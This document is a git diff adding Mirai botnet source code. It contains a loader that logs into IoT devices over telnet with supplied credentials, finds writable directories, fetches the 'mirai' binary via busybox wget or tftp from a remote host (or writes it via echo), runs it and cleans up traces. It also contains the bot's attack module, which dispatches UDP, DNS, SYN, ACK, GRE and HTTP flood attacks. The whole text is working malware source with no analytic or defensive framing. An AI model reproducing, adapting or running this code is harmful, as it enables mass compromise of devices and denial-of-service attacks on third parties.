+1,115 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include "headers/includes.h" +#include "headers/server.h" +#include "headers/telnet_info.h" +#include "headers/binary.h" +#include "headers/util.h" + +static void *stats_thread(void *); + +static struct server *srv; + +char *id_tag = "telnet"; + +int main(int argc, char **args) +{ + pthread_t stats_thrd; + uint8_t addrs_len; + ipv4_t *addrs; + uint32_t total = 0; + struct telnet_info info; + +#ifdef DEBUG + addrs_len = 1; + addrs = calloc(4, sizeof (ipv4_t)); + addrs[0] = inet_addr("0.0.0.0"); +#else + addrs_len = 2; + addrs = calloc(addrs_len, sizeof (ipv4_t)); + + addrs[0] = inet_addr("192.168.0.1"); // Address to bind to + addrs[1] = inet_addr("192.168.1.1"); // Address to bind to +#endif + + if (argc == 2) + { + id_tag = args[1]; + } + + if (!binary_init()) + { + printf("Failed to load bins/dlr.* as dropper\n"); + return 1; + } + + /* wget address tftp address */ + if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL) + { + printf("Failed to initialize server. Aborting\n"); + return 1; + } + + pthread_create(&stats_thrd, NULL, stats_thread, NULL); + + // Read from stdin + while (TRUE) + { + char strbuf[1024]; + + if (fgets(strbuf, sizeof (strbuf), stdin) == NULL) + break; + + util_trim(strbuf); + + if (strlen(strbuf) == 0) + { + usleep(10000); + continue; + } + + memset(&info, 0, sizeof(struct telnet_info)); + if (telnet_info_parse(strbuf, &info) == NULL) + printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf); + else + { + if (srv == NULL) + printf("srv == NULL 2\n"); + + server_queue_telnet(srv, &info); + if (total++ % 1000 == 0) + sleep(1); + } + + ATOMIC_INC(&srv->total_input); + } + + printf("Hit end of input.\n"); + + while(ATOMIC_GET(&srv->curr_open) > 0) + sleep(1); + + return 0; +} + +static void *stats_thread(void *arg) +{ + uint32_t seconds = 0; + + while (TRUE) + { +#ifndef DEBUG + printf("%ds\tProcessed: %d\tConns: %d\tLogins: %d\tRan: %d\tEchoes:%d Wgets: %d, TFTPs: %d\n", + seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes), + ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps)); +#endif + fflush(stdout); + sleep(1); + } +} diff --git a/loader/src/server.c b/loader/src/server.c new file mode 100755 index 0000000..0a44967 --- /dev/null +++ b/loader/src/server.c @@ -0,0 +1,640 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "headers/includes.h" +#include "headers/server.h" +#include "headers/telnet_info.h" +#include "headers/connection.h" +#include "headers/binary.h" +#include "headers/util.h" + +struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip) +{ + struct server *srv = calloc(1, sizeof (struct server)); + struct server_worker *workers = calloc(threads, sizeof (struct server_worker)); + int i; + + // Fill out the structure + srv->bind_addrs_len = addr_len; + srv->bind_addrs = addrs; + srv->max_open = max_open; + srv->wget_host_ip = wghip; + srv->wget_host_port = wghp; + srv->tftp_host_ip = thip; + srv->estab_conns = calloc(max_open * 2, sizeof (struct connection *)); + srv->workers = calloc(threads, sizeof (struct server_worker)); + srv->workers_len = threads; + + if (srv->estab_conns == NULL) + { + printf("Failed to allocate establisted_connections array\n"); + exit(0); + } + + // Allocate locks internally + for (i = 0; i < max_open * 2; i++) + { + srv->estab_conns[i] = calloc(1, sizeof (struct connection)); + if (srv->estab_conns[i] == NULL) + { + printf("Failed to allocate connection %d\n", i); + exit(-1); + } + pthread_mutex_init(&(srv->estab_conns[i]->lock), NULL); + } + + // Create worker threads + for (i = 0; i < threads; i++) + { + struct server_worker *wrker = &srv->workers[i]; + + wrker->srv = srv; + wrker->thread_id = i; + + if ((wrker->efd = epoll_create1(0)) == -1) + { + printf("Failed to initialize epoll context. Error code %d\n", errno); + free(srv->workers); + free(srv); + return NULL; + } + + pthread_create(&wrker->thread, NULL, worker, wrker); + } + + pthread_create(&srv->to_thrd, NULL, timeout_thread, srv); + + return srv; +} + +void server_destroy(struct server *srv) +{ + if (srv == NULL) + return; + if (srv->bind_addrs != NULL) + free(srv->bind_addrs); + if (srv->workers != NULL) + free(srv->workers); + free(srv); +} + +void server_queue_telnet(struct server *srv, struct telnet_info *info) +{ + while (ATOMIC_GET(&srv->curr_open) >= srv->max_open) + { + sleep(1); + } + ATOMIC_INC(&srv->curr_open); + + if (srv == NULL) + printf("srv == NULL 3\n"); + + server_telnet_probe(srv, info); +} + +void server_telnet_probe(struct server *srv, struct telnet_info *info) +{ + int fd = util_socket_and_bind(srv); + struct sockaddr_in addr; + struct connection *conn; + struct epoll_event event; + int ret; + struct server_worker *wrker = &srv->workers[ATOMIC_INC(&srv->curr_worker_child) % srv->workers_len]; + + if (fd == -1) + { + if (time(NULL) % 10 == 0) + { + printf("Failed to open and bind socket\n"); + } + ATOMIC_DEC(&srv->curr_open); + return; + } + while (fd >= (srv->max_open * 2)) + { + printf("fd too big\n"); + conn->fd = fd; +#ifdef DEBUG + printf("Can't utilize socket because client buf is not large enough\n"); +#endif + connection_close(conn); + return; + } + + if (srv == NULL) + printf("srv == NULL 4\n"); + + conn = srv->estab_conns[fd]; + memcpy(&conn->info, info, sizeof (struct telnet_info)); + conn->srv = srv; + conn->fd = fd; + connection_open(conn); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = info->addr; + addr.sin_port = info->port; + ret = connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); + if (ret == -1 && errno != EINPROGRESS) + { + printf("got connect error\n"); + } + + event.data.fd = fd; + event.events = EPOLLOUT; + epoll_ctl(wrker->efd, EPOLL_CTL_ADD, fd, &event); +} + +static void bind_core(int core) +{ + pthread_t tid = pthread_self(); + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core, &cpuset); + if (pthread_setaffinity_np(tid, sizeof (cpu_set_t), &cpuset) != 0) + printf("Failed to bind to core %d\n", core); +} + +static void *worker(void *arg) +{ + struct server_worker *wrker = (struct server_worker *)arg; + struct epoll_event events[128]; + + bind_core(wrker->thread_id); + + while (TRUE) + { + int i, n = epoll_wait(wrker->efd, events, 127, -1); + + if (n == -1) + perror("epoll_wait"); + + for (i = 0; i < n; i++) + handle_event(wrker, &events[i]); + } +} + +static void handle_event(struct server_worker *wrker, struct epoll_event *ev) +{ + struct connection *conn = wrker->srv->estab_conns[ev->data.fd]; + + if (conn->fd == -1) + { + conn->fd = ev->data.fd; + connection_close(conn); + return; + } + + if (conn->fd != ev->data.fd) + { + printf("yo socket mismatch\n"); + } + + // Check if there was an error + if (ev->events & EPOLLERR || ev->events & EPOLLHUP || ev->events & EPOLLRDHUP) + { +#ifdef DEBUG + if (conn->open) + printf("[FD%d] Encountered an error and must shut down\n", ev->data.fd); +#endif + connection_close(conn); + return; + } + + // Are we ready to write? + if (conn->state_telnet == TELNET_CONNECTING && ev->events & EPOLLOUT) + { + struct epoll_event event; + + int so_error = 0; + socklen_t len = sizeof(so_error); + getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &so_error, &len); + if (so_error) + { +#ifdef DEBUG + printf("[FD%d] Connection refused\n", ev->data.fd); +#endif + connection_close(conn); + return; + } + +#ifdef DEBUG + printf("[FD%d] Established connection\n", ev->data.fd); +#endif + event.data.fd = conn->fd; + event.events = EPOLLIN | EPOLLET; + epoll_ctl(wrker->efd, EPOLL_CTL_MOD, conn->fd, &event); + conn->state_telnet = TELNET_READ_IACS; + conn->timeout = 30; + } + + if (!conn->open) + { + printf("socket not open! conn->fd: %d, fd: %d, events: %08x, state: %08x\n", conn->fd, ev->data.fd, ev->events, conn->state_telnet); + } + + // Is there data to read? + if (ev->events & EPOLLIN && conn->open) + { + int ret; + + conn->last_recv = time(NULL); + while (TRUE) + { + ret = recv(conn->fd, conn->rdbuf + conn->rdbuf_pos, sizeof (conn->rdbuf) - conn->rdbuf_pos, MSG_NOSIGNAL); + if (ret <= 0) + { + if (errno != EAGAIN && errno != EWOULDBLOCK) + { +#ifdef DEBUG + if (conn->open) + printf("[FD%d] Encountered error %d. Closing\n", ev->data.fd, errno); +#endif + connection_close(conn); + } + break; + } +#ifdef DEBUG + printf("TELIN: %.*s\n", ret, conn->rdbuf + conn->rdbuf_pos); +#endif + conn->rdbuf_pos += ret; + conn->last_recv = time(NULL); + + if (conn->rdbuf_pos > 8196) + { + printf("oversized buffer pointer!\n"); + abort(); + } + + while (TRUE) + { + int consumed; + + switch (conn->state_telnet) + { + case TELNET_READ_IACS: + consumed = connection_consume_iacs(conn); + if (consumed) + conn->state_telnet = TELNET_USER_PROMPT; + break; + case TELNET_USER_PROMPT: + consumed = connection_consume_login_prompt(conn); + if (consumed) + { + util_sockprintf(conn->fd, "%s", conn->info.user); + strcpy(conn->output_buffer.data, "\r\n"); + conn->output_buffer.deadline = time(NULL) + 1; + conn->state_telnet = TELNET_PASS_PROMPT; + } + break; + case TELNET_PASS_PROMPT: + consumed = connection_consume_password_prompt(conn); + if (consumed) + { + util_sockprintf(conn->fd, "%s", conn->info.pass); + strcpy(conn->output_buffer.data, "\r\n"); + conn->output_buffer.deadline = time(NULL) + 1; + conn->state_telnet = TELNET_WAITPASS_PROMPT; // At the very least it will print SOMETHING + } + break; + case TELNET_WAITPASS_PROMPT: + if ((consumed = connection_consume_prompt(conn)) > 0) + { + util_sockprintf(conn->fd, "enable\r\n"); + util_sockprintf(conn->fd, "shell\r\n"); + util_sockprintf(conn->fd, "sh\r\n"); + conn->state_telnet = TELNET_CHECK_LOGIN; + } + break; + case TELNET_CHECK_LOGIN: + if ((consumed = connection_consume_prompt(conn)) > 0) + { + util_sockprintf(conn->fd, TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_VERIFY_LOGIN; + } + break; + case TELNET_VERIFY_LOGIN: + consumed = connection_consume_verify_login(conn); + if (consumed) + { + ATOMIC_INC(&wrker->srv->total_logins); +#ifdef DEBUG + printf("[FD%d] Succesfully logged in\n", ev->data.fd); +#endif + util_sockprintf(conn->fd, "/bin/busybox ps; " TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_PARSE_PS; + } + break; + case TELNET_PARSE_PS: + if ((consumed = connection_consume_psoutput(conn)) > 0) + { + util_sockprintf(conn->fd, "/bin/busybox cat /proc/mounts; " TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_PARSE_MOUNTS; + } + break; + case TELNET_PARSE_MOUNTS: + consumed = connection_consume_mounts(conn); + if (consumed) + conn->state_telnet = TELNET_READ_WRITEABLE; + break; + case TELNET_READ_WRITEABLE: + consumed = connection_consume_written_dirs(conn); + if (consumed) + { +#ifdef DEBUG + printf("[FD%d] Found writeable directory: %s/\n", ev->data.fd, conn->info.writedir); +#endif + util_sockprintf(conn->fd, "cd %s/\r\n", conn->info.writedir, conn->info.writedir); + util_sockprintf(conn->fd, "/bin/busybox cp /bin/echo " FN_BINARY "; >" FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_COPY_ECHO; + conn->timeout = 120; + } + break; + case TELNET_COPY_ECHO: + consumed = connection_consume_copy_op(conn); + if (consumed) + { +#ifdef DEBUG + printf("[FD%d] Finished copying /bin/echo to cwd\n", conn->fd); +#endif + if (!conn->info.has_arch) + { + conn->state_telnet = TELNET_DETECT_ARCH; + conn->timeout = 120; + // DO NOT COMBINE THESE + util_sockprintf(conn->fd, "/bin/busybox cat /bin/echo\r\n"); + util_sockprintf(conn->fd, TOKEN_QUERY "\r\n"); + } + else + { + conn->state_telnet = TELNET_UPLOAD_METHODS; + conn->timeout = 15; + util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); + } + } + break; + case TELNET_DETECT_ARCH: + consumed = connection_consume_arch(conn); + if (consumed) + { + conn->timeout = 15; + if ((conn->bin = binary_get_by_arch(conn->info.arch)) == NULL) + { +#ifdef DEBUG + printf("[FD%d] Cannot determine architecture\n", conn->fd); +#endif + connection_close(conn); + } + else if (strcmp(conn->info.arch, "arm") == 0) + { +#ifdef DEBUG + printf("[FD%d] Determining ARM sub-type\n", conn->fd); +#endif + util_sockprintf(conn->fd, "cat /proc/cpuinfo; " TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_ARM_SUBTYPE; + } + else + { +#ifdef DEBUG + printf("[FD%d] Detected architecture: '%s'\n", ev->data.fd, conn->info.arch); +#endif + util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_UPLOAD_METHODS; + } + } + break; + case TELNET_ARM_SUBTYPE: + if ((consumed = connection_consume_arm_subtype(conn)) > 0) + { + struct binary *bin = binary_get_by_arch(conn->info.arch); + + if (bin == NULL) + { +#ifdef DEBUG + printf("[FD%d] We do not have an ARMv7 binary, so we will try using default ARM\n", conn->fd); +#endif + } + else + conn->bin = bin; + + util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_UPLOAD_METHODS; + } + break; + case TELNET_UPLOAD_METHODS: + consumed = connection_consume_upload_methods(conn); + + if (consumed) + { +#ifdef DEBUG + printf("[FD%d] Upload method is ", conn->fd); +#endif + switch (conn->info.upload_method) + { + case UPLOAD_ECHO: + conn->state_telnet = TELNET_UPLOAD_ECHO; + conn->timeout = 30; + util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n"); +#ifdef DEBUG + printf("echo\n"); +#endif + break; + case UPLOAD_WGET: + conn->state_telnet = TELNET_UPLOAD_WGET; + conn->timeout = 120; + util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n", + wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch); +#ifdef DEBUG + printf("wget\n"); +#endif + break; + case UPLOAD_TFTP: + conn->state_telnet = TELNET_UPLOAD_TFTP; + conn->timeout = 120; + util_sockprintf(conn->fd, "/bin/busybox tftp -g -l %s -r %s.%s %s; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n", + FN_BINARY, "mirai", conn->info.arch, wrker->srv->tftp_host_ip); +#ifdef DEBUG + printf("tftp\n"); +#endif + break; + } + } + break; + case TELNET_UPLOAD_ECHO: + consumed = connection_upload_echo(conn); + if (consumed) + { + conn->state_telnet = TELNET_RUN_BINARY; + conn->timeout = 30; +#ifdef DEBUG + printf("[FD%d] Finished echo loading!\n", conn->fd); +#endif + util_sockprintf(conn->fd, "./%s; ./%s %s.%s; " EXEC_QUERY "\r\n", FN_DROPPER, FN_BINARY, id_tag, conn->info.arch); + ATOMIC_INC(&wrker->srv->total_echoes); + } + break; + case TELNET_UPLOAD_WGET: + consumed = connection_upload_wget(conn); + if (consumed) + { + conn->state_telnet = TELNET_RUN_BINARY; + conn->timeout = 30; +#ifdef DEBUG + printf("[FD%d] Finished wget loading\n", conn->fd); +#endif + util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch); + ATOMIC_INC(&wrker->srv->total_wgets); + } + break; + case TELNET_UPLOAD_TFTP: + consumed = connection_upload_tftp(conn); + if (consumed > 0) + { + conn->state_telnet = TELNET_RUN_BINARY; + conn->timeout = 30; +#ifdef DEBUG + printf("[FD%d] Finished tftp loading\n", conn->fd); +#endif + util_sockprintf(conn->fd, "./" FN_BINARY " %s.%s; " EXEC_QUERY "\r\n", id_tag, conn->info.arch); + ATOMIC_INC(&wrker->srv->total_tftps); + } + else if (consumed < -1) // Did not have permission to TFTP + { +#ifdef DEBUG + printf("[FD%d] No permission to TFTP load, falling back to echo!\n", conn->fd); +#endif + consumed *= -1; + conn->state_telnet = TELNET_UPLOAD_ECHO; + conn->info.upload_method = UPLOAD_ECHO; + + conn->timeout = 30; + util_sockprintf(conn->fd, "/bin/busybox cp "FN_BINARY " " FN_DROPPER "; > " FN_DROPPER "; /bin/busybox chmod 777 " FN_DROPPER "; " TOKEN_QUERY "\r\n"); + } + break; + case TELNET_RUN_BINARY: + if ((consumed = connection_verify_payload(conn)) > 0) + { + if (consumed >= 255) + { + conn->success = TRUE; +#ifdef DEBUG + printf("[FD%d] Succesfully ran payload\n", conn->fd); +#endif + consumed -= 255; + } + else + { +#ifdef DEBUG + printf("[FD%d] Failed to execute payload\n", conn->fd); +#endif + if (!conn->retry_bin && strncmp(conn->info.arch, "arm", 3) == 0) + { + conn->echo_load_pos = 0; + strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm")); + conn->bin = binary_get_by_arch(conn->info.arch); + util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_UPLOAD_METHODS; + conn->retry_bin = TRUE; + break; + } + } +#ifndef DEBUG + util_sockprintf(conn->fd, "rm -rf " FN_DROPPER "; > " FN_BINARY "; " TOKEN_QUERY "\r\n"); +#else + util_sockprintf(conn->fd, TOKEN_QUERY "\r\n"); +#endif + conn->state_telnet = TELNET_CLEANUP; + conn->timeout = 10; + } + break; + case TELNET_CLEANUP: + if ((consumed = connection_consume_cleanup(conn)) > 0) + { + int tfd = conn->fd; + + connection_close(conn); +#ifdef DEBUG + printf("[FD%d] Cleaned up files\n", tfd); +#endif + } + default: + consumed = 0; + break; + } + + if (consumed == 0) // We didn't consume any data + break; + else + { + if (consumed > conn->rdbuf_pos) + { + consumed = conn->rdbuf_pos; + //printf("consuming more then our position!\n"); + //abort(); + } + conn->rdbuf_pos -= consumed; + memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos); + conn->rdbuf[conn->rdbuf_pos] = 0; + } + + if (conn->rdbuf_pos > 8196) + { + printf("oversized buffer! 2\n"); + abort(); + } + } + } + } +} + +static void *timeout_thread(void *arg) +{ + struct server *srv = (struct server *)arg; + int i, ct; + + while (TRUE) + { + ct = time(NULL); + + for (i = 0; i < (srv->max_open * 2); i++) + { + struct connection *conn = srv->estab_conns[i]; + + if (conn->open && conn->last_recv > 0 && ct - conn->last_recv > conn->timeout) + { +#ifdef DEBUG + printf("[FD%d] Timed out\n", conn->fd); +#endif + if (conn->state_telnet == TELNET_RUN_BINARY && !conn->ctrlc_retry && strncmp(conn->info.arch, "arm", 3) == 0) + { + conn->last_recv = time(NULL); + util_sockprintf(conn->fd, "\x03\x1Akill %%1\r\nrm -rf " FN_BINARY " " FN_DROPPER "\r\n"); + conn->ctrlc_retry = TRUE; + + conn->echo_load_pos = 0; + strcpy(conn->info.arch, (conn->info.arch[3] == '\0' ? "arm7" : "arm")); + conn->bin = binary_get_by_arch(conn->info.arch); + util_sockprintf(conn->fd, "/bin/busybox wget; /bin/busybox tftp; " TOKEN_QUERY "\r\n"); + conn->state_telnet = TELNET_UPLOAD_METHODS; + conn->retry_bin = TRUE; + } else { + connection_close(conn); + } + } else if (conn->open && conn->output_buffer.deadline != 0 && time(NULL) > conn->output_buffer.deadline) + { + conn->output_buffer.deadline = 0; + util_sockprintf(conn->fd, conn->output_buffer.data); + } + } + + sleep(1); + } +} + diff --git a/loader/src/telnet_info.c b/loader/src/telnet_info.c new file mode 100755 index 0000000..1fdc020 --- /dev/null +++ b/loader/src/telnet_info.c @@ -0,0 +1,63 @@ +#include +#include +#include +#include +#include "headers/includes.h" +#include "headers/telnet_info.h" + +struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info) +{ + if (user != NULL) + strcpy(info->user, user); + if (pass != NULL) + strcpy(info->pass, pass); + if (arch != NULL) + strcpy(info->arch, arch); + info->addr = addr; + info->port = port; + + info->has_auth = user != NULL || pass != NULL; + info->has_arch = arch != NULL; + + return info; +} + +struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out) // Format: ip:port user:pass arch +{ + char *conn, *auth, *arch; + char *addr_str, *port_str, *user = NULL, *pass = NULL; + ipv4_t addr; + port_t port; + + if ((conn = strtok(str, " ")) == NULL) + return NULL; + if ((auth = strtok(NULL, " ")) == NULL) + return NULL; + arch = strtok(NULL, " "); // We don't care if we don't know the arch + + if ((addr_str = strtok(conn, ":")) == NULL) + return NULL; + if ((port_str = strtok(NULL, ":")) == NULL) + return NULL; + + if (strlen(auth) == 1) + { + if (auth[0] == ':') + { + user = ""; + pass = ""; + } + else if (auth[0] != '?') + return NULL; + } + else + { + user = strtok(auth, ":"); + pass = strtok(NULL, ":"); + } + + addr = inet_addr(addr_str); + port = htons(atoi(port_str)); + + return telnet_info_new(user, pass, arch, addr, port, out); +} diff --git a/loader/src/util.c b/loader/src/util.c new file mode 100755 index 0000000..17d8cb6 --- /dev/null +++ b/loader/src/util.c @@ -0,0 +1,174 @@ +#include +#include +#include +#include +#include +#include +#include +#include "headers/includes.h" +#include "headers/util.h" +#include "headers/server.h" + +void hexDump (char *desc, void *addr, int len) { + int i; + unsigned char buff[17]; + unsigned char *pc = (unsigned char*)addr; + + // Output description if given. + if (desc != NULL) + printf ("%s:\n", desc); + + if (len == 0) { + printf(" ZERO LENGTH\n"); + return; + } + if (len < 0) { + printf(" NEGATIVE LENGTH: %i\n",len); + return; + } + + // Process every byte in the data. + for (i = 0; i < len; i++) { + // Multiple of 16 means new line (with line offset). + + if ((i % 16) == 0) { + // Just don't print ASCII for the zeroth line. + if (i != 0) + printf (" %s\n", buff); + + // Output the offset. + printf (" %04x ", i); + } + + // Now the hex code for the specific character. + printf (" %02x", pc[i]); + + // And store a printable ASCII character for later. + if ((pc[i] < 0x20) || (pc[i] > 0x7e)) + buff[i % 16] = '.'; + else + buff[i % 16] = pc[i]; + buff[(i % 16) + 1] = '\0'; + } + + // Pad out last line if not exactly 16 characters. + while ((i % 16) != 0) { + printf (" "); + i++; + } + + // And print the final ASCII bit. + printf (" %s\n", buff); +} + +int util_socket_and_bind(struct server *srv) +{ + struct sockaddr_in bind_addr; + int i, fd, start_addr; + BOOL bound = FALSE; + + if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) + return -1; + + bind_addr.sin_family = AF_INET; + bind_addr.sin_port = 0; + + // Try to bind on the first available address + start_addr = rand() % srv->bind_addrs_len; + for (i = 0; i < srv->bind_addrs_len; i++) + { + bind_addr.sin_addr.s_addr = srv->bind_addrs[start_addr]; + if (bind(fd, (struct sockaddr *)&bind_addr, sizeof (struct sockaddr_in)) == -1) + { + if (++start_addr == srv->bind_addrs_len) + start_addr = 0; + } + else + { + bound = TRUE; + break; + } + } + if (!bound) + { + close(fd); +#ifdef DEBUG + printf("Failed to bind on any address\n"); +#endif + return -1; + } + + // Set the socket in nonblocking mode + if (fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK) == -1) + { +#ifdef DEBUG + printf("Failed to set socket in nonblocking mode. This will have SERIOUS performance implications\n"); +#endif + } + return fd; +} + +int util_memsearch(char *buf, int buf_len, char *mem, int mem_len) +{ + int i, matched = 0; + + if (mem_len > buf_len) + return -1; + + for (i = 0; i < buf_len; i++) + { + if (buf[i] == mem[matched]) + { + if (++matched == mem_len) + return i + 1; + } + else + matched = 0; + } + + return -1; +} + +BOOL util_sockprintf(int fd, const char *fmt, ...) +{ + char buffer[BUFFER_SIZE + 2]; + va_list args; + int len; + + va_start(args, fmt); + len = vsnprintf(buffer, BUFFER_SIZE, fmt, args); + va_end(args); + + if (len > 0) + { + if (len > BUFFER_SIZE) + len = BUFFER_SIZE; + +#ifdef DEBUG + hexDump("TELOUT", buffer, len); +#endif + if (send(fd, buffer, len, MSG_NOSIGNAL) != len) + return FALSE; + } + + return TRUE; +} + +char *util_trim(char *str) +{ + char *end; + + while(isspace(*str)) + str++; + + if(*str == 0) + return str; + + end = str + strlen(str) - 1; + while(end > str && isspace(*end)) + end--; + + *(end+1) = 0; + + return str; +} diff --git a/mirai/bot/attack.c b/mirai/bot/attack.c new file mode 100755 index 0000000..4d3bfcb --- /dev/null +++ b/mirai/bot/attack.c @@ -0,0 +1,250 @@ +#define _GNU_SOURCE + +#ifdef DEBUG +#include +#endif +#include +#include +#include +#include + +#include "includes.h" +#include "attack.h" +#include "rand.h" +#include "util.h" +#include "scanner.h" + + +uint8_t methods_len = 0; +struct attack_method **methods = NULL; +int attack_ongoing[ATTACK_CONCURRENT_MAX] = {0}; + +BOOL attack_init(void) +{ + int i; + + add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic); + add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse); + add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns); + add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain); + + add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn); + add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack); + add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp); + + add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip); + add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth); + + //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy); + add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http); + + return TRUE; +} + +void attack_kill_all(void) +{ + int i; + +#ifdef DEBUG + printf("[attack] Killing all ongoing attacks\n"); +#endif + + for (i = 0; i < ATTACK_CONCURRENT_MAX; i++) + { + if (attack_ongoing[i] != 0) + kill(attack_ongoing[i], 9); + attack_ongoing[i] = 0; + } + +#ifdef MIRAI_TELNET + scanner_init(); +#endif +} + +void attack_parse(char *buf, int len) +{ + int i; + uint32_t duration; + ATTACK_VECTOR vector; + uint8_t targs_len, opts_len; + struct attack_target *targs = NULL; + struct attack_option *opts = NULL; + + // Read in attack duration uint32_t + if (len < sizeof (uint32_t)) + goto cleanup; + duration = ntohl(*((uint32_t *)buf)); + buf += sizeof (uint32_t); + len -= sizeof (uint32_t); + + // Read in attack ID uint8_t + if (len == 0) + goto cleanup; + vector = (ATTACK_VECTOR)*buf++; + len -= sizeof (uint8_t); + + // Read in target count uint8_t + if (len == 0) + goto cleanup; + targs_len = (uint8_t)*buf++; + len -= sizeof (uint8_t); + if (targs_len == 0) + goto cleanup; + + // Read in all targs + if (len < ((sizeof (ipv4_t) + sizeof (uint8_t)) * targs_len)) + goto cleanup; + targs = calloc(targs_len, sizeof (struct attack_target)); + for (i = 0; i < targs_len; i++) + { + targs[i].addr = *((ipv4_t *)buf); + buf += sizeof (ipv4_t); + targs[i].netmask = (uint8_t)*buf++; + len -= (sizeof (ipv4_t) + sizeof (uint8_t)); + + targs[i].sock_addr.sin_family = AF_INET; + targs[i].sock_addr.sin_addr.s_addr = targs[i].addr; + } + + // Read in flag count uint8_t + if (len < sizeof (uint8_t)) + goto cleanup; + opts_len = (uint8_t)*buf++; + len -= sizeof (uint8_t); + + // Read in all opts + if (opts_len > 0) + { + opts = calloc(opts_len, sizeof (struct attack_option)); + for (i = 0; i < opts_len; i++) + { + uint8_t val_len; + + // Read in key uint8 + if (len < sizeof (uint8_t)) + goto cleanup; + opts[i].key = (uint8_t)*buf++; + len -= sizeof (uint8_t); + + // Read in data length uint8 + if (len < sizeof (uint8_t)) + goto cleanup; + val_len = (uint8_t)*buf++; + len -= sizeof (uint8_t); + + if (len < val_len) + goto cleanup; + opts[i].val = calloc(val_len + 1, sizeof (char)); + util_memcpy(opts[i].val, buf, val_len); + buf += val_len; + len -= val_len; + } + } + + errno = 0; + attack_start(duration, vector, targs_len, targs, opts_len, opts); + + // Cleanup + cleanup: + if (targs != NULL) + free(targs); + if (opts != NULL) + free_opts(opts, opts_len); +} + +void attack_start(int duration, ATTACK_VECTOR vector, uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) +{ + int pid1, pid2; + + pid1 = fork(); + if (pid1 == -1 || pid1 > 0) + return; + + pid2 = fork(); + if (pid2 == -1) + exit(0); + else if (pid2 == 0) + { + sleep(duration); + kill(getppid(), 9); + exit(0); + } + else + { + int i; + + for (i = 0; i < methods_len; i++) + { + if (methods[i]->vector == vector) + { +#ifdef DEBUG + printf("[attack] Starting attack...\n"); +#endif + methods[i]->func(targs_len, targs, opts_len, opts); + break; + } + } + + //just bail if the function returns + exit(0); + } +} + +char *attack_get_opt_str(uint8_t opts_len, struct attack_option *opts, uint8_t opt, char *def) +{ + int i; + + for (i = 0; i < opts_len; i++) + { + if (opts[i].key == opt) + return opts[i].val; + } + + return def; +} + +int attack_get_opt_int(uint8_t opts_len, struct attack_option *opts, uint8_t opt, int def) +{ + char *val = attack_get_opt_str(opts_len, opts, opt, NULL); + + if (val == NULL) + return def; + else + return util_atoi(val, 10); +} + +uint32_t attack_get_opt_ip(uint8_t opts_len, struct attack_option *opts, uint8_t opt, uint32_t def) +{ + char *val = attack_get_opt_str(opts_len, opts, opt, NULL); + + if (val == NULL) + return def; + else + return inet_addr(val); +} + +static void add_attack(ATTACK_VECTOR vector, ATTACK_FUNC func) +{ + struct attack_method *method = calloc(1, sizeof (struct attack_method)); + + method->vector = vector; + method->func = func; + + methods = realloc(methods, (methods_len + 1) * sizeof (struct attack_method *)); + methods[methods_len++] = method; +} 